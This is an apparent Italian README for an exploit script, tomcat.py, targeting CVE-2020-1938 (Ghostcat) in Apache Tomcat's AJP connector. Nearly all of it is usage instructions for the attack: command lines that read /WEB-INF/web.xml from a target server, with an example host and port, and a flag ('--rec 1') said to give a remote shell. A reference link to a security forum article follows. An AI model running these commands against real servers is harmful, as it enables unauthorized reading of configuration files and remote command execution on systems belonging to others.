
Exploit per CVE-2020-1938 (Ghostcat) che consente la lettura di file e l'esecuzione remota di comandi su server Apache Tomcat vulnerabili tramite il connettore AJP.
1.Leggi file:
python3 tomcat.py URL -f /WEB-INF/web.xml
esempio:
python3 tomcat.py 127.0.0.1 -f /WEB-INF/web.xml -p 8090
2.Esegui shell
add --rec 1
Riferimento: https://www.t00ls.net/articles-55062.html